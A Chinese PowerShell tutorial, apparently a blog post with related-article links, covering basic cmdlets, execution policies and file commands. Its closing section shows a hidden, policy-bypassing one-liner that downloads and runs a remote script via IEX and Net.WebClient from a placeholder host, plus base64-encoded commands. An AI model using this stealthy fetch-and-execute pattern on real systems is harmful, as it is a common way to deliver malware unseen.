(2)Windows PowerShell使用
什么是PowerShell:
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能。PowerShell是命令提示符的更高级版本。 它用于执行诸如 ping 或 copy 之类的外部程序,并自动执行无法从 cmd.exe 访问的不同系统管理任务。
PowerShell与cmd的区别:
PowerShell与Bash Shell比较:
如何打开PowerShell:
在Windows下方的搜索处,直接搜索打开
按 win + R 输入PowerShell打开
打开此电脑,点击左上方文件,找到PowerShell打开
在你需要打开的文件路径下,按Shift + 鼠标右键,选择打开PowerShell 可在PowerShell中快速打开文件路径
PowerShell常用命令:
在PowerShell下的命令,均采用 “名词+动词” 的形式
查看帮助:help ,查看版本: get-host , 查看动词: get-verb
PS D:\study> help
主题
Windows PowerShell 帮助系统
简短说明
显示有关 Windows PowerShell 的 cmdlet 及概念的帮助。
详细说明
“Windows PowerShell 帮助”介绍了 Windows PowerShell 的 cmdlet、
函数、脚本及模块,并解释了
Windows PowerShell 语言的元素等概念。
Windows PowerShell 中不包含帮助文件,但你可以联机参阅
帮助主题,或使用 Update-Help cmdlet 将帮助文件下载
到你的计算机中,然后在命令行中使用 Get-Help cmdlet 来显示帮助
主题。
你也可以使用 Update-Help cmdlet 在该网站发布了更新的帮助文件时下载它们,
这样,你的本地帮助内容便永远都不会过时。
如果没有帮助文件,Get-Help 会显示自动生成的有关 cmdlet、
函数及脚本的帮助。
联机帮助
你可以在 TechNet 库中找到有关 Windows PowerShell 的联机帮助,
网址为 http://go.microsoft.com/fwlink/?LinkID=108518。
若要打开有关任一 cmdlet 或函数的联机帮助,请键入:
Get-Help <cmdlet-name> -Online
-- More --
PS D:\study> Get-Host
Name : ConsoleHost
Version : 5.1.17763.1007
InstanceId : b17b657c-366a-4efa-a95f-a4ba89884117
UI : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture : zh-CN
CurrentUICulture : zh-CN
PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled : True
IsRunspacePushed : False
Runspace : System.Management.Automation.Runspaces.LocalRunspace
PS D:\study> Get-Verb
Verb Group
---- -----
Add Common
Clear Common
Close Common
Copy Common
Enter Common
Exit Common
Find Common
Format Common
Get Common
Hide Common
Join Common
Lock Common
Move Common
New Common
Open Common
Optimize Common
Pop Common
Push Common
Redo Common
Remove Common
Rename Common
Reset Common
Resize Common
Search Common
Select Common
Set Common
Show Common
Skip Common
Split Common
Step Common
Switch Common
Undo Common
Unlock Common
Watch Common
Backup Data
Checkpoint Data
Compare Data
Compress Data
Convert Data
ConvertFrom Data
ConvertTo Data
Dismount Data
Edit Data
Expand Data
Export Data
Group Data
Import Data
Initialize Data
Limit Data
Merge Data
Mount Data
Out Data
Publish Data
Restore Data
Save Data
Sync Data
Unpublish Data
Update Data
Approve Lifecycle
Assert Lifecycle
Complete Lifecycle
Confirm Lifecycle
Deny Lifecycle
Disable Lifecycle
Enable Lifecycle
Install Lifecycle
Invoke Lifecycle
Register Lifecycle
Request Lifecycle
Restart Lifecycle
Resume Lifecycle
Start Lifecycle
Stop Lifecycle
Submit Lifecycle
Suspend Lifecycle
Uninstall Lifecycle
Unregister Lifecycle
Wait Lifecycle
Debug Diagnostic
Measure Diagnostic
Ping Diagnostic
Repair Diagnostic
Resolve Diagnostic
Test Diagnostic
Trace Diagnostic
Connect Communications
Disconnect Communications
Read Communications
Receive Communications
Send Communications
Write Communications
Block Security
Grant Security
Protect Security
Revoke Security
Unblock Security
Unprotect Security
Use Other
设置PowerShell策略
Powershell一般初始化情况下都会禁止脚本执行。脚本能否执行取决于Powershell的执行策略。
默认执行策略为“Restricted”。
- 当执行策略为 Restricted 时:
win8 ,win10 中默认执行 Restricted 的策略。允许单独的命令,但不会运行脚本。阻止所有脚本文件的运行。包括格式设置文件和配置文件 (.ps1xml)、模块脚本文件 (.psm1) 和 Windows PowerShell 配置文件 (.ps1)。 - 当执行策略为 AllSigned 时:
脚本可以运行。要求所有脚本和配置文件都由受信任的发布者签名,包括在本地计算机上编写的脚本。会在运行来自某类发布者(即你尚未归类为受信任或不受信任的发布者)的脚本之前提示你。存在运行已签名但却是恶意的脚本的风险。 - 当执行策略为 REMOTESIGNED 时:
脚本可以运行。要求从 Internet 下载的脚本和配置文件(包括电子邮件和即时消息程序)具有受信任的发布者的数字签名。不要求你在本地计算机上编写的脚本(不是从 Internet 下载的)具有数字签名。如果脚本已被取消阻止(比如通过使用 Unblock-File cmdlet),则运行从 Internet 下载但未签名的脚本。存在运行来自 Internet 之外的未签名脚本和已签名但却是恶意的脚本的风险。 - 当执行策略为 UNRESTRICTED 时:
未签名的脚本可以运行。(这存在运行恶意脚本的风险。)在运行从 Internet 下载的脚本和配置文件之前提醒用户。 - 当执行策略为 BYPASS 时:
不阻止任何内容,并且没有任何警告或提示。该执行策略旨在用于后述配置:在其中 Windows PowerShell 被内置于一个更大的应用程序中,或者在其中 Windows PowerShell 是具有其自己安全模式的程序的基础。 - 当执行策略为 UNDEFINED 时:
当前作用域中未设置执行策略。如果所有作用域中的执行策略都是 Undefined,则有效的执行策略是 Restricted,它是默认执行策略。
PS C:\Users\Riy> [System.Enum]::GetNames([Microsoft.PowerShell.ExecutionPolicy]) # 查看脚本执行策略
Unrestricted
RemoteSigned
AllSigned
Restricted
Default
Bypass
Undefined
PS C:\Users\Riy> Get-ExecutionPolicy # 查看当前脚本执行策略
Restricted
PS C:\Users\Riy> Set-ExecutionPolicy Unrestricted # 更改脚本执行策略,这里报错是因为没有使用管理员权限打开PowerShell
Set-ExecutionPolicy : 对注册表项“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\
Microsoft.PowerShell”的访问被拒绝。 要更改默认(LocalMachine)作用域的执行策略,请使用“以管理
员身份运行”选项启动 Windows PowerShell。要更改当前用户的执行策略,请运行 "Set-ExecutionPolicy
-Scope CurrentUser"。
所在位置 行:1 字符: 1
+ Set-ExecutionPolicy Unrestricted
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (:) [Set-ExecutionPolicy], UnauthorizedAccess
Exception
+ FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Command
s.SetExecutionPolicyCommand
# 使用管理员权限打开PowerShell
PS C:\WINDOWS\system32> Set-ExecutionPolicy Undefined
执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如
https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies
帮助主题所述。是否要更改执行策略?
[Y] 是(Y) [A] 全是(A) [N] 否(N) [L] 全否(L) [S] 暂停(S) [?] 帮助 (默认值为“N”): y
文件操作常用命令:
- 新键目录: New-Item -Name 'test' -ItemType 'directory'
- 新建文件: New-Item -Name 'test.txt'
- 删除目录或文件: Remove-Item test.txt
- 显示文本内容: Get-Content test.txt
- 设置文本内容: Set-Content test.txt -Value 'Hello World'
- 追加文本内容: Add-Content test.txt -Value 'Love World'
- 清除文本内容: Clear-Content test.txt
PS D:\study> New-Item -Name 'test' -ItemType 'directory' # 新建目录
目录: D:\study
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2020/3/28 0:24 test
PS D:\study> New-Item -Name 'test.txt' # 新建文件
目录: D:\study
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2020/3/28 0:24 0 test.txt
PS D:\study> Set-Content test.txt -Value 'Hello World' # 设置文本内容
PS D:\study> Get-Content test.txt # 显示文本内容
Hello World
PS D:\study> Add-Content test.txt -Value 'Love World' # 追加文本内容
PS D:\study> Get-Content test.txt
Hello World
Love World
PS D:\study> Clear-Content test.txt # 清除文本内容
PS D:\study> Get-Content test.txt
PS D:\study> Remove-Item test # 删除文件或目录
绕过本地权限执行脚本
PS D:\study> '"Hello World"' > test.ps1
PS D:\study> .\test.ps1
.\test.ps1 : 无法加载文件 D:\study\test.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅
https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies。
所在位置 行:1 字符: 1
+ .\test.ps1
+ ~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [],PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -File test.ps1
Hello World
绕过本地权限执行脚本,并隐藏执行,只有后台能看到脚本正在运行
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File test.ps1
PowerShell下载脚本绕过本地权限并执行
c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -noni IEX (New-Object Net.WebClient).DownloadString('http://xxxx/test.ps1')
Hello World
7、使用Base64对PowerShell命令进行编码
c:\Windows\System32>powershell.exe -EncodedCommand dwBoAG8AYQBtAGkACgA=
laptop-9r39s2hi\riy
(2)Windows PowerShell使用的更多相关文章
- 解决VS2015启动时Package manager console崩溃的问题 - Windows PowerShell updated your execution policy successfully, but the setting is overridden by a policy defined at a more specific scope
安装VS2015,启动以后,Package manager console崩溃,错误信息如下: Windows PowerShell updated your execution policy suc ...
- 用Windows PowerShell 控制管理 Microsoft Office 365
如果想要通过PowerShell控制管理Office365,首先要安装Microsoft Online Services Sign-In Assistant 7.0,链接如下 Microsoft On ...
- 【SharePoint学习笔记】第2章 SharePoint Windows PowerShell 指南
快速了解Windows PowerShell 从SharePoint 2010开始支持PowerShell,仍支持stsadm.exe工具: 可以调用.NET对象.COM对象.exe文 ...
- Office 365 - SharePoint 2013 Online 中使用Windows PowerShell
1.如果想要在SharePoint Online中使用Windows PowerShell,首先需要安装SharePoint Online Management Shell(下载地址附后),如下图: ...
- SharePoint 2010 最佳实践学习总结------第2章 SharePoint Windows PowerShell指南
第2章 SharePoint Windows PowerShell指南 SharePoint 2010是SharePoint系列产品中第一个开始支持Windows PowerShell的产品,在以前的 ...
- 使用 Windows PowerShell 来管理和开发 windowsazure.cn 账户的特别注意事项
6月6日,微软面向中国大陆用户开放了Microsoft Azure公众预览版的申请界面.大家可以申请免费的 beta 试用,收到内附邀请码的通知邮件后只需输入激活码即可开始免费试用.具体网址为: ht ...
- Windows PowerShell ISE
Windows PowerShell 集成脚本环境 (ISE) 是 Windows PowerShell 的主机应用程序.在 Windows PowerShell ISE 中,可以在单一 Window ...
- 作为平台的Windows PowerShell(二)
在此系列文章的前一篇,我们看到了怎样使用System.Management.Automation.PowerShell 类来在c#应用程序中运行PowerShell 命令.在那些例子中,我们创建的都是 ...
- 作为平台的Windows PowerShell(一)
除了作为一种脚本语言外,Windows PowerShell被多种应用程序使用.这是因为Windows PowerShell引擎可以被托管在一个应用程序内部.这篇博文和下一篇博文将会处理在C#应用程序 ...
- Windows PowerShell:管理服务器
一.概述 Cmdlets 用于服务器的管理方面主要体现在4个方面:服务.日志.进程.服务器管理器. 1.服务 • Get-Service.查看某个服务的属性. • New-Service.创建一个 ...
随机推荐
- Numpy入门(二):Numpy数组索引切片和运算
在Numpy中建立了数组或者矩阵后,需要访问数组里的成员,改变元素,并对数组进行切分和计算. 索引和切片 Numpy数组的访问模式和python中的list相似,在多维的数组中使用, 进行区分: 在p ...
- 当学术邂逅浪漫 – 记MobiCom 2015大会
作者:微软亚洲研究院主管研究员 刘云新 今年的MobiCom大会在著名的浪漫之都巴黎举行.通常于欧洲举办的会议的参会人数会相对少一些,但今年的MobiCom大会吸引了近400人参加,绝不少于往年.浪漫 ...
- Java 并发编程 -- Fork/Join 框架
概述 Fork/Join 框架是 Java7 提供的一个用于并行执行任务的框架,是一个把大任务分割成若干个小任务,最终汇总每个小任务结果后得到大任务结果的框架.下图是网上流传的 Fork Join 的 ...
- Mac 下配置 adb 环境
使用 adb 命令可以很直接的观察你的应用 第一步 打开终端,敲入命令:sudo vi .bash_profile(如果有密码就为本机登录密码, 如果没有这个文件就会创建一个新的). 第二步 在文件中 ...
- Leetcode 141题 环形链表(Linked List Cycle) Java语言求解
题目描述: 给定一个链表,判断链表中是否有环. 为了表示给定链表中的环,我们使用整数 pos 来表示链表尾连接到链表中的位置(索引从 0 开始). 如果 pos 是 -1,则在该链表中没有环. Map ...
- C++银行储蓄程序代码
*/ * Copyright (c) 2016,烟台大学计算机与控制工程学院 * All rights reserved. * 文件名:text.cpp * 作者:常轩 * 微信公众号:Worldhe ...
- USB小白学习之路(1) Cypress固件架构解析
Cypress固件架构彻底解析及USB枚举 1. RAM的区别 56pin或者100pin的cy7c68013A,只有内部RAM,不支持外部RAM 128pin的cy7c68013A在pin脚EA=0 ...
- 线程中断 interrupt 和 LockSupport
本文章将要介绍的内容有以下几点,读者朋友也可先自行思考一下相关问题: 线程中断 interrupt 方法怎么理解,意思就是线程中断了吗?那当前线程还能继续执行吗? 判断线程是否中断的方法有几个,它们之 ...
- springmvc两种配置方法
基于配置文件xml方式, 配置springmvc步骤: 1.在pom文件中引入jar包: <!--导入springmvc的jar包--> <dependency> <gr ...
- Go语言基础篇(1) —— 编写第一个Go程序
创建文件hello_world.go package main //包,表名代码所在的包 import "fmt" //引入依赖 //main方法 func main(){ fmt ...